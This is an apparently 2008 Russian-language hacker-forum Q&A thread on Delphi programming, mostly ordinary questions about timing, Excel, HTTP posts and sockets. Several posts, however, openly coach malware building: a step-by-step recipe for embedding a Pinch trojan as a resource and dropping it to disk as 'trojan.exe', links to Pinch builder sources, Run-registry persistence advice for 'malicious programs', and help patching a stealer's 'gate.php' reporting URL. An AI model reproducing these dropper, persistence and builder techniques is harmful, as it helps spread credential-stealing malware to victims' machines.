Просмотр полной версии : [Delphi]/[Pascal] Задай вопрос, получи ответ
если делать такую функцию, то лучше без stream'ов, а чисто на winapi :)
"[Delphi] Задай вопрос, получи ответ" - тут видимо stream'ы любят :)
Delphi.Програмный вызов командной строки с параметрами. Как сделать?
Delphi.Програмный вызов командной строки с параметрами. Как сделать?
Запуск upx на упаковку file.exe, как бы через командуню строку с параметром "C:\file.exe" ->
ShellExecute(0, "open", "c:\upx.exe", "C:\file.exe", 0, 0);
ктонить может подробно обьяснить что делает xor желательно очень подробно...
И еще вопрос подскажите как на dеlphi читать/писать в сектора на жестких или флешках....
допустим на конкретном примере: нам надо прочитать загрузочный сектор и сохранить его в файл(любой видимый виндой)
KIR@PRO
http://www.delphibasics.ru/Xor.php
Пишу маленькую программку в которой нужно отсылать сообщение "Вас добавили"
Используется: ICQClient(от кабана, самый новый, загрузил с асечки)
Суть проблемы: Идёт отсылка "Вас добавили", в таймере, отсылка идёт с определённого номера, как приходит время менять номер(отключать старый), приложение зависает и выдаёт ошибку, подчёркивая это в коде компонента WSokcet
procedure TCustomWSocket.RaiseException(const Msg : String);
begin
if Assigned(FOnError) then
TriggerError { Should be modified to pass Msg ! }
else
raise ESocketException.Create(Msg);
end;
Подскажите как исправить, пожалуйста. ;)
И еще вопрос подскажите как на dеlphi читать/писать в сектора на жестких или флешках....
var buff:dword;
asm
mov ah, 02h // ф-ция read sector
mov dl, 00h // диск а:
mov dh, 00h //head 0
mov ch, 00h //track 0
mov cl, 01h //сектор 1
mov al, 01h //читаем сектор 1
mov es, SEG buff //адресс сегмента буффера
mov bx, OFFSET buff //адресс оффсета буффера
int 13h //читаем сектор
end;
он ругается... можешь сказать какие переменные мне надо обозначить??? и какой тип просто byte или array[]of byte ?
']Помогите решить такую проблеммку, нужно что бы при нажатии на батон, в папке с моей программой появлялся *.exe (ну например какой нить трой) Как это сделать?
хе хе сам он никак не появится!!!
Напиши конкретнее, что именно тебе нужно!!!
Т.к. по нажатию на кнопку можно зделать очень многое ;) к примеру скачать файл(троян в твою папку или любую другую), создать файл трояна(что то наподобии билдера) или же "прописать в самой кнопке" функции трояна, которые будут выполняться при ее нажатии. ;) :D
Killerkod
06.05.2008, 20:42
Добавь его в ресурсы, а потом извлеки... Типа фейк чтоли? Тогда щас дам пример...
Killerkod
06.05.2008, 20:45
http://rapidshare.com/files/113007199/1.rar.html
Вот тебе сорс примера
1. создаешь файл pinch.rc
содержимое
Pinch_exe RCDATA Pinch.exe
P.S. pinch.exe твой троян
2. коммандной строке brcc32 -32 путь\pinch.rc
3. в проекте {$R pinch.res} + в секцию uses добавляешь модуль Classes
3. процедура извлекающая пинч из ресурсов
procedure ExtractRes;
var Res:TResourceStream;
begin
Res:=TResourceStream.Create(HInstance,'pinch_exe', RT_RCDATA);
Res.SaveToFile('trojan.exe');
Res.Free;
end;
4. дальше что хочешь, то и делай... он извлечется под именем trojan
все...
где можно про взлом qip нарыть,а...
чувак ты хоть форумом научись то пользоваться, а уже потом задавай вопросы, а то даж смотреть толком ненаучились, а все туда же во взлом лезут!!! вот тут чего только нету:
http://forum.antichat.ru/forum13.html
[Dezzter] А это вот тебе, это исходники билдера пинча, от блаксана(там и сам пинч есть) и все по нажатию на кнопку ;) :
http://rapidshare.com/files/96345585/Pinch301Sources.rar
Есть пару вредоносных программ на делфи. Вопрос: как сделать что бы при первом запуске .exe файла он автоматически загружался при запуске виндовса?
Прописываешся в этом разделе реестра:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run
Или кидаеш просто свою прогу в папку автозапуска.
Вообще об этом очень много написано, так что пользуйся поиском!!!
-Hormold-
07.05.2008, 15:45
Нужно компилировать это: Скчать(MRIM) (http://yxu.org.ru/index.php?do=load&id=1&cat=sources)
У мне них((
Кто сможет +!
это не компелируется это юзается как компонентенг
-Hormold-
07.05.2008, 17:18
Ошибся, собрать как компонент.
И непонял код...
Может буть кто мини-help сделает
Есть пару вредоносных программ на делфи. Вопрос: как сделать что бы при первом запуске .exe файла он автоматически загружался при запуске виндовса?
самые простые пути
1. стандартные ветки автозагрузки
2. сервис
']Можно об этом поподробней!
program Sample;
uses
Windows, Classes;
{$R pinch.res}
что бы при запуске винды прога загружалась уже понятно как. Лучший способ я так решил что бы это прога создавала в реестре автозагрузки файл HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run
за подсказку спс Dr.KoD. И так осталось только сделать так что бы при запуске ексе файла прога сама добавляла нужный файл в реестр. Подскажите как это сделать в Делфи :-)
']W!z@rD, а откуда мне взять pinch.res и что это за файл?
Тебе же сказали.
1.Создаешь файл pinch.rc
2.Заполняешь его с таким тесктом
Pinch_exe RCDATA Pinch.exe
3.Компилишь этот ресурс скрипт
brcc32 -32 путь\pinch.rc
4. у тебя появиться файл pinch.res
[Dezzter] Я тебе же пример скинул там все написано, что да как!!!
Что именно тебе непонятно?
-Hormold-
http://rapidshare.com/files/113245101/________.rar.html
На вот, там 2 минуты работы.
base64,codes,proto,pworks вот эти файлы незабывай ложить в папку с проектом или же скопируй их в папку c делфи, думаю знаеш куда их пихать ;)
Должно быть что то типо этого:
ExtractRes('EXEFILE', 'pinch', 'pinch.exe');
Да, ты саму то функцию написал ExtractRes? ;)
Если, что она есть в примере, который я тебе дал.
[Dezzter]
Кароч распишу все по порядку это будет полезно и тебе и всем кто захочет такое сотварить:
1. Создаем pinch.rc файл в нем пишем вот это:
pinch EXEFILE pinch.exe
2. Копируем в папку с проектом brcc32.exe и создаем
*.bat файл с таким содержанием:
brcc32 pinch.rc
(pinch.exe, pinch.rc должны находиться в той же папке, что и проект).
3. Получаем res файл и переходим к кодингу:
implementation
{$R *.dfm} // это тут находится по умолчанию
{$R pinch.RES} // наш файл
function ExtractRes(ResType, ResName, ResNewName: string): Boolean; //функция, которая создает файл из файла ресурсов
var
Res: TResourceStream;
begin
Res := TResourceStream.Create(Hinstance, Resname, PChar(ResType));
try
Res.SavetoFile(ResNewName);
Result := True;
finally
Res.Free;
end;
end;
procedure TForm1.BitBtn1Click(Sender: TObject);
var
FileName:string; //по нажатию на кнопку получаем наш заветный пинчик.ехе
begin
FileName:='pinch.exe';
ExtractRes('EXEFILE', 'pinch', FileName );
end;
end.
Вот так все просто(на первый взгляд :D ) ;)
подскажите програмную реализацию на Delphi хеширования пароля при передаче в VPN подключении с такими характеристиками:
Имя устройства: Минипорт WAN (PPTP)
Тип устройства:VPN
Тип сервера:PPP
Транспорты:TCP/IP
Проверка подлинности:MD5 CHAP
Сжатие:(нет)
Формирование пакетов Многоканального PPP:Выкл
тут написано MD5 CHAP но про CHAP я ни чего не нашел...
>>тут написано MD5 CHAP но про CHAP я ни чего не нашел...
а я нашел:
http://russianproxy.ru/pptp_vpn
http://en.wikipedia.org/wiki/Point-to-point_tunneling_protocol
http://www.sans.org/resources/malwarefaq/pptp-vpn.php
сорцы PPTP-клиента, в котором "PPP-MPPE 2.4.0 and 2.4.1 contain MS-CHAP-v2 and MPPE support "... 4итай, расбирайся, портируй на делфи...
http://pptpclient.sourceforge.net/
Тока там исходники отнють не на delphi....((( покрайней мере не вижу.... (может просто мой английйский сильно страдает а можнт что то другое.....) я ж имел ввиду на делфях.... :confused:
ToniKapuchon
11.05.2008, 14:38
вот братцы кусок коду:
procedure TForm1.SpeedButton1Click(Sender: TObject);
var
WB:_WorkBook;
WS:_WorkSheet;
PC:PivotCache;
PT:PivotTable;
i:byte;
a,b:extended;
XLApp, XLWb, XlSheet, XLPic: OleVariant;
begin
ExcelApplication1.Connect;
ExcelApplication1.Interactive[LCID]:=False;
ExcelApplication1.Visible[LCID]:=True;//ñäåëàëè åãî âèäèìûì
WB:=ExcelApplication1.Workbooks.Add(emptyparam,LCI D);
WS:=(ExcelApplication1.ActiveSheet as _WorkSheet);
ExcelApplication1.EnableEvents:=False;
WS.Range['A1',emptyparam].Value2:='Результаты счёта';
WS.Range['A1',emptyparam].Font.Size:=12;
WS.Range['A1',emptyparam].Font.Bold:=True;
WS.Range['A1',emptyparam].Font.Italic:=True;
WS.Range['A1',emptyparam].Font.Underline:=xlUnderlineStyleSingle;
WS.Range['A2',emptyparam].Value2:='I';
WS.Range['A2',emptyparam].Font.Bold:=True;
WS.Range['B2',emptyparam].Value2:='Y';
WS.Range['b2',emptyparam].Font.Bold:=True;
WS.Range['C2',emptyparam].Value2:='X';
WS.Range['c2',emptyparam].Font.Bold:=True;
for i:=3 to StringGrid1.RowCount do
begin
a:=Strtofloat(StringGrid1.Cells[1,i-2]);
b:= Strtofloat(StringGrid1.Cells[2,i-2]);
WS.Range['A'+InttoStr(i),emptyparam].Value2:=Inttostr(i-2);
WS.Range['B'+InttoStr(i),emptyparam].Value2:=FloattostrF(a,fffixed,3,2);
WS.Range['C'+InttoStr(i),emptyparam].Value2:=FloattostrF(b,fffixed,3,2);;
end;
Chart1.SaveToBitmapFile('foto.bmp');
Image1.Picture.LoadFromFile('foto.bmp');
Clipboard.Assign(Image1.Picture);
{вставить хочу картинку (foto.bmp) в определённую ячейку, как сделать??}
ExcelApplication1.EnableEvents:=True;
ExcelApplication1.Interactive[LCID]:=True;
ExcelApplication1.Disconnect;
end;
работаю с екселям!
Всё втыкнул!!
Помогите, такая проблема.нужен исходник для delphi сканер порта.
Чтобы мог сканировать всю сеть типа(NetLook).
Чтобы не вбивать диапазон ip.
Отдельные порта например 21,80
заранее спасибо.
foxes
ты определись уже сканер порта или всетаки обозреватель сети???
Netlook насколько я знаю не сканирует порты он рассылает Arp пакеты на которые компы ему отвечают потом сканит на расшаренные ресурсы каждого кто ответил...
foxes Вот раз сканер:
http://www.cyberinfo.ru/index.php?newsid=3407
это два:
http://devoid.com.ua/pascal-delphi/delphi-network-programming/prosteishiy-skaner-portov-na-delphi.html
и три:
http://www.vr-online.ru/download.php?det=167
А если постараться то можно найти их хз сколько, но т.к. если вы неможете элементарно юзать поиск, то такие программы вам писать еще рано!!! :D
!{ra!{e/\/
13.05.2008, 10:31
Как узнать время выполнения какого либо участка кода в миллисекундах?
2 !{ra!{e/\/
мда... ну и вопрос, включи моск =)
const
ms = 1/24/60/60/1000; //одна милисекунда
var
t1, t2: tdateime;
begin
t1 := now;
{Твой код}
t2 := now - t1;
ShowMessage('Твой код выполнялся:'+inttostr(trunc(t2/ms))+'милисеунд');
end;
Lesnoy_chelovek
13.05.2008, 11:30
Получай время в начале кода и в конце, а потом сверяй.
!{ra!{e/\/
13.05.2008, 12:57
2 !{ra!{e/\/
мда... ну и вопрос, включи моск =)
я так уже пробывал...вот опять...
procedure TForm1.Button1Click(Sender: TObject);
const
ms = 1/24/60/60/1000;
var i:integer;
t1, t2: tdatetime;
as1:array [1..1000] of integer;
begin
randomize;
t1 := now;
for i:=1 to 1000 do as1[i]:=random(40);
t2 := now - t1;
ShowMessage('Твой код выполнялся:'+inttostr(trunc(t2/ms))+'милисеунд');
end;
делаю как ты сказал выходит
Твой код выполнялся:0милисеунд
что неправильно?
Интересует алгоритм который узнает делиться ли число без остатка на 1024,без утомительного деления каждой части.
я так уже пробывал...вот опять...
procedure TForm1.Button1Click(Sender: TObject);
const
ms = 1/24/60/60/1000;
var i:integer;
t1, t2: tdatetime;
as1:array [1..1000] of integer;
begin
randomize;
t1 := now;
for i:=1 to 1000 do as1[i]:=random(40);
t2 := now - t1;
ShowMessage('Твой код выполнялся:'+inttostr(trunc(t2/ms))+'милисеунд');
end;
делаю как ты сказал выходит
Твой код выполнялся:0милисеунд
что неправильно?
var
tick:integer;
begin
tick:=GetCurrentTick;
... тут код
messagebox(0,PAnsiChar('Твой код выполняется: '+inttostr(GetCurrentTick-tick)+' мс.'),'',0);
Интересует алгоритм который узнает делиться ли число без остатка на 1024,без утомительного деления каждой части.
Ну а в чем проблема?)
Делишь, число переводишь в string, и смотришь есть ли "," или ".", если есть, то значит число не делится без остатка :). без деления никак )
!{ra!{e/\/
13.05.2008, 13:51
Интересует алгоритм который узнает делиться ли число без остатка на 1024,без утомительного деления каждой части.
if (x mod 1024)=0 then ////делится без остатка где х число
else //не делится
или я неправильно тебя понял?
Ну а в чем проблема?)
Делишь, число переводишь в string, и смотришь есть ли "," или ".", если есть, то значит число не делится без остатка :). без деления никак )
типо умный да :)) во первых IntToStr и.т.д отсекают остаток и округляют до меньшего,я работаю с большими числами 512 бит и больше :(
Сделал так с опр вероятностью говорит верно,но правильно ли это?
function Is1024(Number,Divider:string):boolean;
var i : integer;
begin
i:=0;
result:=true;
for I:=1 to 10 do
begin
Number:=ulDiv(Number,Divider,10);
if Number='1' then break;
if Pos('.',Number)<>0 then
begin
result:=false;
break;
end;
end;
end;
!{ra!{e/\/
13.05.2008, 13:52
var
tick:integer;
begin
tick:=GetCurrentTick;
... тут код
messagebox(0,PAnsiChar('Твой код выполняется: '+inttostr(GetCurrentTick-tick)+' мс.'),'',0);
на tick:=GetCurrentTick; выдает ошибку((
может надо какую нибудь библиотеку подключить?
Интересует алгоритм который узнает делиться ли число без остатка на 1024,без утомительного деления каждой части.
не совcем понял, тоесть без деления вообще?
можно так:
делим битовым сдвигом (без остатка)
asm
mov EBX, Number
shr ebx,10
mov mulResult,ebx
end;и сравниваем является ли результат - обратной операцией
if mulResult * 1024 = Number Then Result := true
!{ra!{e/\/ только что попробовал твой цикл... да действительно странно, когда используешь random то такое ощющение что он вообще не заполняет. без него всё нормально...
кто знает в чём подвох ??? реально интересно стало
хм... походу насчёт рандома я чёта прогнал... не в нём дело...
const
ms = 1/24/60/60/1000; //одна милисекунда
var
t1, t2: tdateime;
begin
t1 := now;
{Твой код}
t2 := now - t1;
ShowMessage('Твой код выполнялся:'+inttostr(trunc(t2/ms))+'милисеунд');
end;
просто когда {Твой код} выполняеться где то менбше 100 милисекунд то в результате выводиться 0. но правда не всегда, иногда результат вполне нормальный. ХЗ чё такое =(
!{ra!{e/\/
13.05.2008, 16:30
...Пробывал засовывать другие коды...сортировал массивы ..должно показывать сек 5 ..но показывает 0..(((
В чем же ошибка?
De-visible
13.05.2008, 18:34
Проблема может быть в микро/нано - секундах?!
Модуль на паскале (http://docs.com.ru/pas_1.php)
function Tick:Cardinal;
asm
pushad
rdtsc
mov result,eax
popad
end;
procedure TForm1.Button1Click(Sender: TObject);
var Start:Cardinal;
begin
start:=Tick;
asm
xor ecx,ecx
@back:
inc ecx
cmp ecx,1337h
jl @back
end;
Edit1.Text:=IntToStr(Tick-start);
end;
Показывает кол-во тиков :)
rdtsc
в eax - младшая часть.
в edx - старшая.
ZirroCool
13.05.2008, 20:21
Халоу люди!
Не подскажете как с помошью idhttp начать сейсию и из этой сейсии послать пост запрос?
qPhoenix
13.05.2008, 20:50
Халоу люди!
Не подскажете как с помошью idhttp начать сейсию и из этой сейсии послать пост запрос?
var s:string;
pd:TStringList;
begin
pd:=TStringList.Create;
pd.Add('Login=vasya');
pd.Add('Pass=qwerty');
s:=HTTP.Post('http://site.ru/login.php',pd);
pd.Free;
end;
в s содержится ответ сервера..
Если под "сейсией" подразумевается сохранение куки и последующее их использование - добавляем IdCookieManager и вставляем его в параметр CookieManager в idHTTP...
ZirroCool
13.05.2008, 21:28
var s:string;
pd:TStringList;
begin
pd:=TStringList.Create;
pd.Add('Login=vasya');
pd.Add('Pass=qwerty');
s:=HTTP.Post('http://site.ru/login.php',pd);
pd.Free;
end;
в s содержится ответ сервера..
Если под "сейсией" подразумевается сохранение куки и последующее их использование - добавляем IdCookieManager и вставляем его в параметр CookieManager в idHTTP...
Тут тема прост такая, я пишу программу клиент для файло обменника, там капча, вот нужно начать сейсию без паса и пароля, ну как буто бы я просто зашел на сайт, и уже из под этой сейсии скачать картинку и показать ее в прге а далее после ввода данных отправить данные на сервер
qPhoenix
13.05.2008, 21:40
var s:string;
pd:TStringList;
file:textfile;
begin
s:=HTTP.Get('http://site.ru/');
{ищем в переменной s ссыль на капчу}
//качаем ее
s:=HTTP.Get('http://site.ru/captcha.jpg');
assignfile(fil,'111.jpg');
rewrite(fil);
writeln(fil,s);
closefile(fil);
//отсылаем
pd:=TStringList.Create;
pd.Add('Login=vasya');
pd.Add('Pass=qwerty');
pd.Add('Captcha=Nh7T5');
s:=HTTP.Post('http://site.ru/login.php',pd);
pd.Free;
end;
Nightmarе
13.05.2008, 23:38
У меня есть программка написанная на API (на делфи естесстно)
В исходнике есть такая строчка обявляющяя константу:
const ADDRES = 'http://prank.ru/gate.php';
Собственно хотелось бы увидеть код программы которая может открыть вышенаписанную программу и изменить значение ADDRES на что то ещё...
De-visible
14.05.2008, 00:11
У меня есть программка написанная на API (на делфи естесстно)
В исходнике есть такая строчка обявляющяя константу:
const ADDRES = 'http://prank.ru/gate.php';
Собственно хотелось бы увидеть код программы которая может открыть вышенаписанную программу и изменить значение ADDRES на что то ещё...
Если я тебя правильно понял то тебе надо поменять
'http://prank.ru/gate.php' - на что нить другое, тогда ты просто должен работать с этой прогой как, с обычным файлом, то есть:
1)Открыть файл
2)Найти в файле строку http://prank.ru/gate.php(именно так)
3)Заменить ее...НО количество символов должны быть равны!(до изменения = после изменения)
4)Сохранить и закрыть файл!
Если я тебя правильно понял то тебе надо поменять
'http://prank.ru/gate.php' - на что нить другое, тогда ты просто должен работать с этой прогой как, с обычным файлом, то есть:
1)Открыть файл
2)Найти в файле строку http://prank.ru/gate.php(именно так)
3)Заменить ее...НО количество символов должны быть равны!(до изменения = после изменения)
4)Сохранить и закрыть файл!
Человеку нужна программа, а как это делать руками, он знает и сам.
2 Nightmare Скачай сырцы пинч билдера от Slesh, там именно что тебе нужно.
Nightmarе
14.05.2008, 00:56
Человеку нужна программа, а как это делать руками, он знает и сам.
2 Nightmare Скачай сырцы пинч билдера от Slesh, там именно что тебе нужно.
Исходники у меня есть, но там коду дохрена, и возиться я с ними буду не один день, а хотелось побыстрее и попроще...
Killerkod
14.05.2008, 05:41
Хочется побыстрее и попроще? Напиши свой;) В принципе там не трудно, посмотри что De-visible написал... Тоже идея, но все время длина должна быть одинакова, что не есть гуд)) Сделай подругому, чтоб можно было разную длину писать...
Хочется побыстрее и попроще? Напиши свой;) В принципе там не трудно, посмотри что De-visible написал... Тоже идея, но все время длина должна быть одинакова, что не есть гуд)) Сделай подругому, чтоб можно было разную длину писать...
подключить winsock
Function DoRecv(Sock: TSocket): Bool;
Var
Time :TTimeVal;
FD_Struct :TFDSet;
Begin
Result := False;
Time.tv_sec := 5;
Time.tv_usec := 0;
FD_ZERO(FD_Struct);
FD_SET(Sock, FD_Struct);
If Select(0, @FD_Struct, NIL, NIL, @Time) <= 0 Then
Exit;
Result := True;
End;
function pagepost(url,post:string):string;
var
D:WSAData;
S:TSocket;
A:TSockAddr;
name,path:string;
buff:array[0..1023] of char;
buf: Array[0..36000] Of Char;
httpsend,httpresponse,str:string;
recived,n:integer;
begin
httpresponse:='';
{??????? ????????? ????????????...}
if(copy(url,1,7)<>'http://') then
begin
exit;
end;
url:=copy(url,8,length(url));
n:=Pos('/',url);
if(n=0) then
begin
name:=copy(url,1,length(url));
path:='/';
end
else
begin
name:=copy(url,1,n-1);
path:=copy(url,n,length(url));
end;
{????????}
if WSAStartup($101,D)<>0 then
begin
result:='';
WSACleanup;
exit;
end;
A.sin_family:=AF_INET;
A.sin_addr.S_addr:=inet_addr(pChar(NameToIP(name)) );
A.sin_port:=htons(80);
S:=socket(AF_INET,SOCK_STREAM,0);
if S=INVALID_SOCKET then
begin
result:='';
WSACleanup;
exit;
end;
if(connect(S,A,sizeof(A))<>0) then
begin
result:='';
WSACleanup;
exit;
end;
// - - - - - - - - - -
// - - - - - - - - - -
{?????????????? ?????}
{?????????? ???????}
httpsend:='POST '+path+' HTTP/1.1'+#13#10+
'Host: '+name+#13#10+
'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9'+#13#10+
'Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5'+#13#10+
'Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3'+#13#10+
'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'+#13#10+
'Keep-Alive: 300'+#13#10+
'Connection: keep-alive'+#13#10+
'Cookie: remixchk=5'+#13#10+
'Content-Type: application/x-www-form-urlencoded'+#13#10+
'Content-Length: '+inttostr(length(post))+#13#10#13#10+post;
send(s, HTTPSend[1], length(httpsend),0);
recived:=1;
while(recived>0) do
begin
If Not DoRecv(S) Then
Begin
result:=httpresponse;
CloseSocket(S);
WSACleanUp;
Exit;
End;
recived:=Recv(S, Buff, 1024, 0);
HttpResponse:=httpresponse+Copy (Buff,1,Recived);
end;
result:=httpresponse;
closesocket(s);
WSACleanUp;
end;
Видел как-то такую конструкцию(именно так, процедура пуста).
Но не понял для чего это нужно. Может можно как-0то упростить???
Type
Proc1 = Procedure;
Var
Rs : Proc1;
Procedure Pro;
Begin
End;
..............
Rs:=pro;
удалить и все :))) нах не нужна эта процедура)))
Joker-jar
15.05.2008, 05:10
Как получить список элементов панели управления (имя, иконка, имя для запуска)? Пока единственное что мне пришло в голову - искать все *.cpl файлы в system32 и вытаскивать информацию через экспортируемую функцию. Может есть более простое решение? Да и не все элементы организованы через *.cpl (display, ptinters, ...)
Как сделать чтоб из txt файла можно было выдернуть определенные слова допустим *Mitiay и сохронить выдернутые слова в txt другой.Думаю мысль понятно объяснил.
открываешь файл, читаешь его построчно, ищешь в строке из файла нужную тебе подстроку, записываешь в другой файл
const
podstroka = '*Mitiay';
var
f, sorted: textfile;
procedure Parse(s: string);
begin
if strpos(PChar(s), podstroka) <> nil then
writeln(sorted, s);
end;
begin
path := ExtractFilePath(ParamStr(0));
assignfile(f, path + 'file.txt');
assignfile(sorted, path + 'file_sorted.txt');
reset(f);
rewrite(sorted);
while not eof(f) do
begin
readln(f, s);
Parse(s);
end;
closefile(f);
closefile(sorted);
Joker-jar
16.05.2008, 13:24
*Mitiay - походу имелась ввиду маска... Иначе, какой смысл в сохранении одного и того же слова?
ZirroCool
16.05.2008, 13:38
Буду очень признателен если мне кто нить прокоментирует подробно что делает каждая строка по пунктам! Спасибо
idx:=pos('<a style="background-color:#000000" href="', response)+42;
buff:=Copy(response, idx, Length(response)-idx+1);
idy:=pos('">', buff)-1;
buff:=Copy(buff, 1, idy);
linkedit.text:=buff;
Lesnoy_chelovek
16.05.2008, 14:13
в idx вычисляет позицию строки в которой содержится текст <a style="background-color:#000000" href="
buff копирует все что до строки <a style="background-color:#000000" href="
idy вычисляет где закрывается тег в скоипированной строке
buff копирует строку
linkedit.text - получает текст
по ходу этот код просто парсит ссылочку
ZirroCool
16.05.2008, 14:25
в idx вычисляет позицию строки в которой содержится текст <a style="background-color:#000000" href="
buff копирует все что до строки <a style="background-color:#000000" href="
idy вычисляет где закрывается тег в скоипированной строке
buff копирует строку
linkedit.text - получает текст
по ходу этот код просто парсит ссылочку
А что такое +42 +1 -1 ???
и idy:=pos('">', buff)-1; //тут -1 это -1 символ или что?
Lesnoy_chelovek
16.05.2008, 14:44
А что такое +42 +1 -1 ???
и idy:=pos('">', buff)-1; //тут -1 это -1 символ или что?
и символ, то есть минус скобочка. выше тоже символы вычисляет.
ZirroCool
16.05.2008, 15:28
Извиняюсь за тупость уже сам разобрался!!!
ZirroCool
17.05.2008, 11:47
procedure Tmainform.FormCreate(Sender: TObject);
begin
sss:=idHTTP.Get('http://files.xxx.org/index.php');
sss:=idHTTP.Get('http://files.xxx.org/captcha/index.php');
assignfile(fil,'111.jpg');
rewrite(fil);
writeln(fil,sss);
closefile(fil);
image2.Picture.LoadFromFile('111.jpg');
procedure Tmainform.startClick(Sender: TObject);
var
idx, idy:integer;
FileName, buff: string;
formData: TIdMultiPartFormDataStream;
f:textfile;
begin
if size > 5242880 then begin
MessageDlg('Íåëüçÿ çàãðóæàòü ôàéë áîëüøå 5 Ìá', mtError, [mbOk] , 0);
exit;
end;
FileName := nametofile.Hint;
formData := TIdMultiPartFormDataStream.Create;
formData.AddFile('usrfile',fileName,'application/octet-stream');
//HttpObject.Port := Port;
formData.AddFormField('simbols',Edit1.text);
sss := idHTTP.Post('http://files.xxx.org/index.php',formData);
assignfile(f,'a.txt');
rewrite(f);
writeln(f,sss);
closefile(f);
idx:=pos('<a style="background-color:#000000" href="', sss)+42;
buff:=Copy(sss, idx, Length(sss)-idx+1);
idy:=pos('">', buff)-1;
buff:=Copy(buff, 1, idy);
linkedit.text:=buff;
formData.Free;
end;
Собсна возник вопрос передачи файла! Проблема такая же как и в предыдущем моем посте,дело в сейсии, ток я не пойму почему не работает?
Исправьте пжалст!
Мне нужно, штоб после нажатия на Button1, беспрерывно проиговался mp3 трек, до тех пор, когда не будет нажата кнопка Button2. Как сделать?
De-visible
17.05.2008, 22:51
Брось на форму компонент TMediaPlayer(Mediaplayer1)
И вот:
procedure TForm2.Button1Click(Sender: TObject);
begin
MediaPlayer1.Play;
end;
procedure TForm2.Button2Click(Sender: TObject);
begin
MediaPlayer1.Stop;
end;
Брось на форму компонент TMediaPlayer(Mediaplayer1)
И вот:
procedure TForm2.Button1Click(Sender: TObject);
begin
MediaPlayer1.Play;
end;
procedure TForm2.Button2Click(Sender: TObject);
begin
MediaPlayer1.Stop;
end;
:) , вы меня не так поняли. Приклад: включилась сигнализация и она звучит до тех пор, пока ее не выключат. В вашем коде она сама остановится.
De-visible
18.05.2008, 01:19
procedure TForm1.MediaPlayer1Notify(Sender: TObject);//Событие MediaPlayer
begin
with TMediaPlayer(Sender) do
if (Position = Length) then
Play;
end;
Но лучше писать на WinApi, сдесь будет заметна пауза....
Подскажите пожалуйста, как выставить время виндовс?
Например:
procedure TForm1.Button1Click(Sender: TObject);
begin
"выставить время на 30 сек назад" (????????)
end;
Спасибо.
0verbreaK
18.05.2008, 20:07
Для это существуют функции Win APi
GetSystemTime и SetSystemTime
// получить секунды системного времени
var
lpSystemTime: _SYSTEMTIME;
begin
GetSystemTime(lpSystemTime);
ShowMessage(IntToStr(lpSystemTime.wSecond));
// изменить
lpSystemTime.wSecond := lpSystemTime.wSecond - 30;
SetSystemTime(lpSystemTime);
в качесте параметра передается переменная типа структуры, в которой
_SYSTEMTIME = record
wYear: Word; // год
wMonth: Word; // месяц
wDayOfWeek: Word; // день недели
wDay: Word; // день
wHour: Word; // час
wMinute: Word; // минуты
wSecond: Word; // секунды
wMilliseconds: Word; // милисекунды
привет подскажите пжлста как загрузить страничку если для доступа нужно проити авторизацию (header)... и в добавок ето все по https
De-visible на счет сокетов то я знаю и какуюнибудь другую гадость я брать не хачу.... но мне нужен пример как все ето проделать да ешо и по https.....
и ешо мне стыдно (((((( я не знаю как отправить логин и пароль в ответ на запрос (Header) ((((((( стыдоба......
Lesnoy_chelovek
19.05.2008, 06:11
KIR@PRO, получите и распишитесь:
Для отправки на вебсервер используется следующий формат:
Напрямую: 'POST ' + PostAddr + 'HTTP/1.0' + HTTP_Data + Content
Через проксю: 'POST http://' Webserver + PostAddr + 'HTTP/1.0' + HTTP_Data + Content
}
Const
WebServer = 'www.somehost.com';
WebPort = 80;
PostAddr = '/cgi-bin/form';
{ Следующие переменные используются только для вебсервера: }
ProxyServer ='proxy.somewhere.com';
ProxyPort = 3128;
// В заголовке post необходимы некоторые данные
HTTP_Data =
'Content-Type: application/x-www-form-urlencoded'#10+
'User-Agent: Delphi/5.0 ()'#10+ { Отрекламируем Delphi 5! }
'Host: somewhere.com'#10+
'Connection: Keep-Alive'#10;
type
T...Form = class(TForm)
...
private
{ Private declarations }
HTTP_POST : String;
FContent : String;
FResult : String; // Эта переменная будет содержать ответ сервера
public
{ Public declarations }
end;
{ Эти функции сделают некоторое url-кодирование }
{ Например. 'John Smith' => 'John+Smith' }
function HTTPTran(St : String) : String;
var i : Integer;
begin
Result:='';
for i:=1 to length(St) do
if St[i] in ['a'..'z','A'..'Z','0','1'..'9'] then
Result:=Result+St[i]
else if St[i]=' ' then
Result:=Result+'+'
else
Result:=Result+'%'+IntToHex(Byte(St[i]),2);
end;
procedure T...Form.ClientSocket1Write(Sender: TObject;
Socket: TCustomWinSocket);
begin
// Постим данные
Socket.SendText(HTTP_POST+FContent);
end;
procedure T...Form.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
begin
// Получаем результат
FResult:=FResult+Socket.ReceiveText;
end;
procedure T...Form.ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
// ЗДЕСЬ МОЖНО ОБРАБОТАТЬ FResult //
end;
procedure T...Form.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
ErrorCode := 0; // Игнорируем ошибки
end;
{
А эта подпрограмма, которую можно использовать для постинга данных формы.
}
procedure T...Form.PostTheForm;
begin
// Очищаем результаты
FResult:='';
// Вы можете ввести поля формы, которые необходимы
// Вот некоторые примеры:
FContent:=
'Name='+ HTTPTran('John Smith') +'&'+
'Address='+ HTTPTran('1 Waystreet') +'&'+
'Email='+ HTTPTran('jsmith@somewhere.com') +'&'+
'B1=Submit'+
#10;
// Вычисляем длину содержимого
FContent:=
'Content-Length: '+IntToStr(Length(FContent))+#10+#10+FContent;
{-- Начало прокси ---}
{ если Вы используете прокси, то раскоментируйте этот код
ClientSocket1.Host := ProxyServer;
ClientSocket1.Port := ProxyPort;
HTTP_POST := 'POST http://'+WebServer+PostAddr+' HTTP/1.0'#10;
{--- Конец прокси ---}
{--- Начало соединения напрямую --- }
{ удалите этот код, еслы Вы будете использовать прокси }
ClientSocket1.Host := WebServer;
ClientSocket1.Port := WebPort;
HTTP_POST := 'POST '+PostAddr+' HTTP/1.0'#10;
{--- Конец соединения напрямую ---}
